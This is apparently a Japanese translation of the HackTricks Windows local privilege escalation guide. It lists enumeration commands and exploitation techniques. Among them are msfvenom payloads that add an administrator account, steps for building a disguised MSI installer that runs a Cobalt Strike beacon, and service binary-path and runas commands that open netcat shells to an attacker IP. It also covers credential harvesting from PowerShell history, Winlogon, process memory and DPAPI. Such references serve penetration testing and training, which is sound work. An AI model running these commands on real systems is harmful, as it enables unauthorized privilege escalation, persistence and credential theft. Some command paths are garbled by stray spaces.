ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 したいですか?または最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
Windowsローカル特権昇格ベクターを探すための最良のツール: WinPEAS 初期のWindows理論
アクセス トークン
Windowsアクセス トークンがわからない場合は、続行する前に次のページを読んでください:
page Access Tokens ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEsに関する詳細情報については、次のページを確認してください:
page ACLs - DACLs/SACLs/ACEs 完全性レベル
Windowsの完全性レベルがわからない場合は、続行する前に次のページを読んでください:
page Integrity Levels Windowsセキュリティコントロール
Windowsには、システムの列挙を防ぐ 、実行可能ファイルを実行することさえも検出する ことができるさまざまなものがあります。特権昇格の列挙を開始する前に、これらの防御メカニズム をすべて読み、列挙 してください:
page Windows Security Controls システム情報
バージョン情報の列挙
Windowsバージョンに既知の脆弱性があるかどうかを確認してください(適用されたパッチも確認してください)。
Copy systeminfo
systeminfo | findstr /B /C: "OS Name" /C: "OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
Copy [System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
バージョンの脆弱性
このサイト は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する膨大な攻撃面 が示されています。
システム上
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
システム情報をローカルで
エクスプロイトのGithubリポジトリ:
環境
環境変数に保存された資格情報/重要情報はありますか?
Copy set
dir env:
Get-ChildItem Env: | ft Key,Value
PowerShell の履歴
Copy ConsoleHost_history #Find the PATH where is saved
type %userprofile% \A ppData \R oaming \M icrosoft \W indows \P owerShell \P SReadline \C onsoleHost_history.txt
type C: \U sers \s wissky \A ppData \R oaming \M icrosoft \W indows \P owerShell \P SReadline \C onsoleHost_history.txt
type $env :APPDATA \M icrosoft \W indows \P owerShell \P SReadLine \C onsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell トランスクリプトファイル
これを有効にする方法については、https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ で学ぶことができます。
Copy #Check is enable in the registry
reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
dir C: \T ranscripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShellモジュールのロギング
PowerShellパイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細と出力結果がキャプチャされない場合があります。
これを有効にするには、ドキュメントの「Transcript files」セクションの手順に従い、**「Powershell Transcription」の代わりに 「モジュールのロギング」**を選択してください。
Copy reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
最後の15件のPowersShellログを表示するには、次のコマンドを実行します:
Copy Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell スクリプトブロックのロギング
スクリプトの実行の完全なアクティビティと内容の記録がキャプチャされ、コードの各ブロックが実行されるたびにドキュメント化されます。このプロセスにより、各アクティビティの包括的な監査トレイルが保存され、フォレンジックや悪意のある動作の分析に役立ちます。実行時にすべてのアクティビティを文書化することで、プロセスに関する詳細な洞察が提供されます。
Copy reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
スクリプトブロックのログイベントは、Windowsイベントビューアー内のパスで見つけることができます: アプリケーションとサービスのログ > Microsoft > Windows > PowerShell > Operational 。
最後の20イベントを表示するには次を使用します:
Copy Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
インターネット設定
Copy reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
ドライブ
Copy wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where { $_ .Provider -like "Microsoft.PowerShell.Core\FileSystem" } | ft Name,Root
WSUS
システムがhttpS ではなくhttpを使用して更新を要求していない場合、システムを侵害することができます。
次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認できます。
Copy reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
もし次のような返信を受け取った場合:
Copy HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
そして、HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
が 1
と等しい場合、それは悪用可能です。 最後のレジストリが 0 と等しい場合、WSUS エントリは無視されます。
これらの脆弱性を悪用するためには、Wsuxploit 、pyWSUS などのツールを使用できます。これらは、MiTM(Man-in-the-Middle)兵器化されたエクスプロイトスクリプトであり、非SSL WSUS トラフィックに「偽」のアップデートを注入するためのものです。
こちらの研究を読んでください:
WSUS CVE-2020-1013
完全なレポートはこちら 。
基本的に、このバグが悪用する欠陥は次のとおりです:
もしローカルユーザープロキシを変更する権限があれば、かつWindows Updates がInternet Explorer の設定で構成されたプロキシを使用している場合、私たちは自分自身のトラフィックを傍受し、資産上の昇格ユーザーとしてコードを実行する権限を持つ PyWSUS をローカルで実行する権限を持つことになります。
さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP およびHTTPS のWSUS トラフィックを傍受できるようになります。WSUS は証明書に対して信頼済みでかつ正しいホスト名を持つ場合、証明書の最初の使用に信頼するようなメカニズムを実装していません。ユーザーによって信頼され、正しいホスト名を持つ証明書が提示された場合、サービスによって受け入れられます。
この脆弱性を悪用するには、WSUSpicious ツールを使用できます(解放された後)。
KrbRelayUp
特定の条件下で、Windows ドメイン 環境において ローカル特権昇格 脆弱性が存在します。これらの条件には、LDAP 署名が強制されていない 環境、ユーザーが Resource-Based Constrained Delegation (RBCD) を構成する権限を持ち、ユーザーがドメイン内でコンピュータを作成できる能力が含まれます。これらの 要件 は デフォルト設定 を使用して満たされることが重要です。
https://github.com/Dec0ne/KrbRelayUp でエクスプロイトを見つけることができます。
攻撃の流れについての詳細情報は、https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ をチェックしてください。
AlwaysInstallElevated
これらの 2 つのレジスタが 有効 になっている場合(値が 0x1 )、任意の特権を持つユーザーが *.msi
ファイルを NT AUTHORITY\SYSTEM として インストール (実行)できます。
Copy reg query HKCU \S OFTWARE \P olicies \M icrosoft \W indows \I nstaller /v AlwaysInstallElevated
reg query HKLM \S OFTWARE \P olicies \M icrosoft \W indows \I nstaller /v AlwaysInstallElevated
Metasploit ペイロード
Copy msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
PowerUP
Write-UserAddMSI
コマンドを使用して、特権を昇格させるためのWindows MSIバイナリを現在のディレクトリ内に作成します。このスクリプトは、ユーザー/グループの追加を求める事前にコンパイルされたMSIインストーラを書き出します(そのため、GUIアクセスが必要です)。
作成したバイナリを実行して特権を昇格させます。
MSIラッパー
このツールを使用してMSIラッパーを作成する方法について学ぶために、このチュートリアルを読んでください。コマンドラインを実行 したい場合は、".bat "ファイルをラップできることに注意してください。
page MSI Wrapper WIXを使用したMSIの作成
page Create MSI with WIX Visual Studioを使用したMSIの作成
Cobalt StrikeまたはMetasploitでC:\privesc\beacon.exe
に新しいWindows EXE TCPペイロード を生成します。
Visual Studio を開き、新しいプロジェクトを作成 を選択し、検索ボックスに "installer" と入力します。Setup Wizard プロジェクトを選択して次へ をクリックします。
プロジェクトにAlwaysPrivesc などの名前を付け、場所に**C:\privesc
**を使用し、ソリューションとプロジェクトを同じディレクトリに配置 を選択し、作成 をクリックします。
次へ をクリックし続けて、ステップ3/4(含めるファイルを選択)に進みます。追加 をクリックし、さきほど生成したBeaconペイロードを選択します。その後、完了 をクリックします。
ソリューションエクスプローラ でAlwaysPrivesc プロジェクトを強調表示し、プロパティ でTargetPlatform をx86 からx64 に変更します。
インストールされたアプリをより合法的に見せることができるAuthor やManufacturer などの他のプロパティを変更できます。
プロジェクトを右クリックし、表示 > カスタムアクション を選択します。
インストール を右クリックし、カスタムアクションの追加 を選択します。
Application Folder をダブルクリックし、beacon.exe ファイルを選択してOK をクリックします。これにより、インストーラが実行されるとすぐにBeaconペイロードが実行されるようになります。
カスタムアクションのプロパティ で、Run64Bit をTrue に変更します。
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
という警告が表示される場合は、プラットフォームをx64に設定していることを確認してください。
MSIのインストール
悪意のある.msi
ファイルのインストール をバックグラウンドで 実行するには:
Copy msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
特権昇格
この脆弱性を悪用するには、exploit/windows/local/always_install_elevated を使用できます。
アンチウイルスおよび検出器
監査設定
これらの設定は何が記録 されるかを決定するため、注意を払う必要があります。
Copy reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding(Windows イベント転送)は、ログがどこに送信されているかを知るのが興味深いです。
Copy reg query HKLM \S oftware \P olicies \M icrosoft \W indows \E ventLog \E ventForwarding \S ubscriptionManager
LAPS
LAPS は、ドメインに参加しているコンピュータ上のローカル管理者パスワードの管理 を目的としており、各パスワードが一意でランダム化され、定期的に更新 されることを保証します。これらのパスワードはActive Directory内で安全に保存され、ACLを介して十分な権限が付与されたユーザーのみがアクセスでき、認可された場合にのみローカル管理者パスワードを表示できます。
page LAPS WDigest
WDigest が有効な場合、平文パスワードがLSASS (Local Security Authority Subsystem Service)に保存されます。
WDigestに関する詳細情報はこのページを参照 。
Copy reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1 からはじまり、Microsoftはローカルセキュリティ機関(LSA)のメモリを読み取ろうとする未信頼のプロセスの試みやコードのインジェクションをブロックするために、強化された保護を導入し、システムをさらにセキュアにしました。
LSA Protectionに関する詳細はこちら 。
Copy reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
資格情報ガード
資格情報ガード はWindows 10 に導入されました。その目的は、デバイスに保存されている資格情報をハッシュの盗用攻撃などの脅威から保護することです。資格情報ガードに関する詳細はこちら。
Copy reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
キャッシュされた資格情報
ドメインの資格情報 は、ローカルセキュリティ機関 (LSA)によって認証され、オペレーティングシステムのコンポーネントで利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのためのドメインの資格情報が確立されます。
キャッシュされた資格情報に関する詳細はこちら 。
Copy reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
ユーザー&グループ
ユーザー&グループの列挙
興味深い権限を持つ可能性のあるグループが存在するかどうかを確認する必要があります
Copy # CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C: \U sers -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
特権グループ
特権グループに所属している場合、特権を昇格させることができる可能性があります 。特権グループについて学び、特権を昇格させる方法についてはこちら:
page Privileged Groups トークン操作
トークン とは何かについて詳しく学ぶには、このページをご覧ください:Windows Tokens 。
興味深いトークンについて学び、それらを悪用する方法については、次のページをチェックしてください:
page Abusing Tokens ログインユーザー / セッション
Copy qwinsta
klist sessions
ホームフォルダ
Copy dir C:\Users
Get-ChildItem C:\Users
パスワードポリシー
クリップボードの内容を取得
Copy powershell -command "Get-Clipboard"
実行中のプロセス
ファイルおよびフォルダのアクセス権限
まず最初に、プロセスのリストを作成して、プロセスのコマンドライン内にパスワードが含まれていないかを確認します。
実行中のバイナリを上書きできるかどうか、またはバイナリフォルダに書き込み権限があるかどうかを確認して、DLLハイジャック攻撃 を悪用できるかどうかを確認します。
Copy Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where { $_ .ProcessName -notlike "svchost*" } | ft ProcessName, Id
常に実行中の electron/cef/chromium デバッガー を確認し、特権昇格に悪用できる可能性があるかどうかを確認してください。
プロセスのバイナリの権限をチェックする
Copy for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^ "^ delims^=^" %%z in ( 'echo %%x' ) do (
icacls "%%z"
2> nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo .
)
)
プロセスのバイナリフォルダーのアクセス許可をチェックする( DLLハイジャッキング )
Copy for /f "tokens=2 delims='='" %%x in ( 'wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"' ) do for /f eol^=^ "^ delims^=^" %%y in ( 'echo %%x' ) do (
icacls "%%~dpy\" 2>nul | findstr /i " ( F ) (M) ( W ) :\\ " | findstr /i " :\\ everyone authenticated users
todos %username% " && echo.
)
メモリーパスワードマイニング
Sysinternals の procdump を使用して実行中のプロセスのメモリーダンプを作成できます。FTPのようなサービスでは、メモリー内に平文で資格情報が保存 されていることがあります。メモリーダンプを取得して資格情報を読み取ってみてください。
Copy procdump.exe -accepteula -ma < proc_name_tasklis t >
セキュリティの脆弱なGUIアプリ
SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを生成したり、ディレクトリを参照したりすることを許可するかもしれません。
例: "Windowsヘルプとサポート" (Windows + F1)、"コマンドプロンプト"を検索し、"クリックしてコマンドプロンプトを開く"をクリックします。
サービス
サービスのリストを取得します:
Copy net start
wmic service list brief
sc query
Get-Service
権限
sc を使用してサービスの情報を取得できます。
以下は、Sysinternals から accesschk というバイナリを使用して、各サービスの必要な特権レベルをチェックすることが推奨されています。
Copy accesschk.exe -ucqv < Service_Nam e > #Check rights for different groups
次の手順を実行して、「Authenticated Users」がどのサービスでも変更できるかどうかを確認することをお勧めします:
Copy accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2> nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
XP用のaccesschk.exeをこちらからダウンロードできます
サービスの有効化
このようなエラーが発生している場合(たとえばSSDPSRVの場合):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
次の方法で有効化できます:
Copy sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
サービスupnphostは、動作するためにSSDPSRVに依存していることに注意してください(XP SP1の場合)
この問題の別の回避策 は、次のコマンドを実行することです:
Copy sc.exe config usosvc start= auto
サービスのバイナリパスを変更する
"認証済みユーザー"グループがサービスに対してSERVICE_ALL_ACCESS を所有している場合、サービスの実行可能バイナリを変更することが可能です。sc を変更して実行するには:
Copy sc config < Service_Nam e > binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config < Service_Nam e > binpath= "net localgroup administrators username /add"
sc config < Service_Nam e > binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
サービスの再起動
Copy wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
特権はさまざまな権限を通じてエスカレートする可能性があります:
SERVICE_CHANGE_CONFIG :サービスバイナリの再構成を許可します。
WRITE_DAC :権限の再構成を有効にし、サービス構成を変更する能力を持つようになります。
WRITE_OWNER :所有権の取得と権限の再構成を許可します。
GENERIC_WRITE :サービス構成を変更する能力を継承します。
GENERIC_ALL :サービス構成を変更する能力を継承します。
この脆弱性の検出と悪用には、exploit/windows/local/service_permissions を利用できます。
サービスバイナリの権限が弱い
サービスによって実行されるバイナリを変更できるかどうか 、またはバイナリが配置されているフォルダに書き込み権限があるかどうか を確認してください(DLL Hijacking )。
wmic (system32 以外)を使用してサービスによって実行されるすべてのバイナリを取得し、icacls を使用して権限を確認できます:
Copy for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^ "^ delims^=^" %a in ( %temp%\perm.txt ) do cmd.exe /c icacls "%a" 2> nul | findstr "(M) (F) :\"
あなたはsc とicacls も使用することができます:
Copy sc query state= all | findstr "SERVICE_NAME:" >> C: \T emp \S ervicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C: \T emp \p ath.txt
サービスレジストリの変更権限
サービスレジストリを変更できるかどうかを確認する必要があります。
次のようにして、サービスレジストリ上での権限を確認できます:
Copy reg query hklm \S ystem \C urrentControlSet \S ervices /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM: \S ystem \C urrentControlSet \s ervices \* | Format-List * | findstr /i "<Username> Users Path Everyone"
次のことを確認する必要があります: Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl
権限を持っているかどうか。もしそうであれば、サービスによって実行されるバイナリを変更できます。
実行されるバイナリのパスを変更するには:
Copy reg add HKLM \S YSTEM \C urrentControlSet \s ervices \< service_nam e > /v ImagePath /t REG_EXPAND_SZ /d C: \p ath \n ew \b inary /f
サービスレジストリのAppendData/AddSubdirectory権限
レジストリにこの権限がある場合、このレジストリからサブレジストリを作成できます 。Windowsサービスの場合、これは任意のコードを実行するのに十分です :
page AppendData/AddSubdirectory permission over service registry 引用符のないサービスパス
実行可能ファイルへのパスが引用符で囲まれていない場合、Windowsはスペースの前のすべての終了を実行しようとします。
たとえば、パス C:\Program Files\Some Folder\Service.exe の場合、Windowsは次のように実行しようとします:
Copy C:\ Program.exe
C:\Program Files\ Some.exe
C:\Program Files\Some Folder\ Service.exe
組み込みのWindowsサービスに属するものを除く、すべての引用符のないサービスパスをリストアップします:
Copy wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
#Other way
for /f "tokens=2" %%n in ( 'sc query state^= all^| findstr SERVICE_NAME' ) do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
Copy gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
この脆弱性を検出して悪用することができます metasploitを使用して: exploit/windows/local/trusted\_service\_path
手動でmetasploitを使用してサービスバイナリを作成することもできます:
Copy msfvenom -p windows/exec CMD= "net localgroup administrators username /add" -f exe-service -o service.exe
リカバリーアクション
Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能はバイナリを指定するように構成できます。このバイナリが置換可能であれば、特権昇格が可能になるかもしれません。詳細は公式ドキュメント に記載されています。
アプリケーション
インストールされたアプリケーション
バイナリのアクセス権 (上書きして特権昇格を行うことができるかもしれません)とフォルダー のアクセス権(DLLハイジャッキング )を確認してください。
Copy dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE \S OFTWARE
Get-ChildItem 'C:\Program Files' , 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE \S OFTWARE | ft Name
書き込み権限
特定のファイルを読むために設定ファイルを変更できるか、または管理者アカウント (schedtasks) によって実行されるバイナリを変更できるかどうかを確認します。
システム内の弱いフォルダ/ファイルの権限を見つける方法は次のとおりです:
Copy accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
Copy icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Copy Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
スタートアップで実行
異なるユーザーによって実行されるレジストリまたはバイナリを上書きできるかどうかを確認します。
次のページ を読んで 特権を昇格させるための興味深いautorunsの場所 について詳しく学びます:
page Privilege Escalation with Autoruns ドライバー
可能なサードパーティーの奇妙で脆弱な ドライバーを探します
Copy driverquery
driverquery.exe /fo table
driverquery /SI
PATH DLL ハイジャック
もし、PATH に存在するフォルダ内に書き込み権限 がある場合、プロセスによって読み込まれる DLL をハイジャックして特権を昇格 することができるかもしれません。
PATH 内のすべてのフォルダの権限をチェックします:
Copy for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
このチェックを悪用する方法の詳細については、次を参照してください:
page Writable Sys Path +Dll Hijacking Privesc ネットワーク
共有
Copy net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
ホストファイル
ホストファイルにハードコードされた他の既知のコンピュータをチェックします。
Copy type C:\Windows\System32\drivers\etc\hosts
ネットワークインターフェース&DNS
Copy ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
オープンポート
外部から制限されたサービス をチェックします
Copy netstat -ano #Opened ports?
ルーティングテーブル
Copy route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP テーブル
Copy arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
ファイアウォールのルール
ファイアウォールに関連するコマンドについては、このページをチェックしてください (ルールのリスト、ルールの作成、無効化、無効化...)
ネットワーク列挙のためのその他のコマンドはこちら
Windows Subsystem for Linux (wsl)
Copy C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
バイナリの bash.exe
は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
にも見つけることができます。
root ユーザーになると、任意のポートでリッスンすることができます(ポートで nc.exe
を初めて使用すると、ファイアウォールによって nc
が許可されるかどうかを GUI で尋ねられます)。
Copy wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Windowsの資格情報
Winlogonの資格情報
rootとしてbashを簡単に開始するには、--default-user root
を試してみてください。
WSL
ファイルシステムをC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
フォルダで探索できます。
Copy reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
資格情報マネージャ / Windows Vault
https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vaultは、Windows がユーザーを自動的にログイン させることができるサーバー、ウェブサイト、および他のプログラムのユーザー資格情報を格納します。最初のインスタンスでは、これはユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存し、それによって自動的にブラウザ経由でログインできるようになると思われるかもしれませんが、実際にはそうではありません。
Windows Vaultは、Windowsがユーザーを自動的にログインさせるための資格情報を格納し、つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要なWindowsアプリケーションがこの資格情報マネージャ &Windows Vaultを利用し、ユーザーがユーザー名とパスワードを毎回入力する代わりに提供された資格情報を使用できます。
アプリケーションが資格情報マネージャとやり取りしない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、アプリケーションがVaultを利用したい場合は、デフォルトのストレージVaultからそのリソースの資格情報を取得するように、どうにかして資格情報マネージャと通信する必要があります。
cmdkey
を使用して、マシンに保存されている資格情報をリストアップします。
Copy cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
次に、保存された資格情報を使用するためにrunas
を/savecred
オプションとともに使用できます。次の例は、SMB共有を介してリモートバイナリを呼び出しています。
Copy runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas
を提供された資格情報と共に使用します。
Copy C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
注意してください。mimikatz、lazagne、credentialfileview 、VaultPasswordView 、またはEmpire Powershells module から情報を取得できます。
DPAPI
**データ保護API(DPAPI)**は、データの対称暗号化のための方法を提供し、主にWindowsオペレーティングシステム内で非対称プライベートキーの対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムの秘密をエントロピーに大きく寄与させます。
DPAPIは、ユーザーのログイン秘密から派生した対称鍵を使用してキーを暗号化することを可能にします 。システム暗号化を含むシナリオでは、システムのドメイン認証秘密を利用します。
DPAPIを使用して暗号化されたユーザーRSAキーは、%APPDATA%\Microsoft\Protect\{SID}
ディレクトリに保存されます。ここで、{SID}
はユーザーのセキュリティ識別子 を表します。DPAPIキーは、通常64バイトのランダムデータで構成され、ユーザーのプライベートキーを保護するマスターキーと同じファイルに共存しています 。(このディレクトリへのアクセスは制限されており、CMDのdir
コマンドを使用してその内容をリスト表示することはできませんが、PowerShellを使用してリスト表示することができます)。
Copy Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
次のようにして、適切な引数(/pvk
または/rpc
)を使用して、mimikatzモジュール dpapi::masterkey
を使用して復号化できます。
通常、マスターパスワードで保護された資格情報ファイル は次の場所にあります:
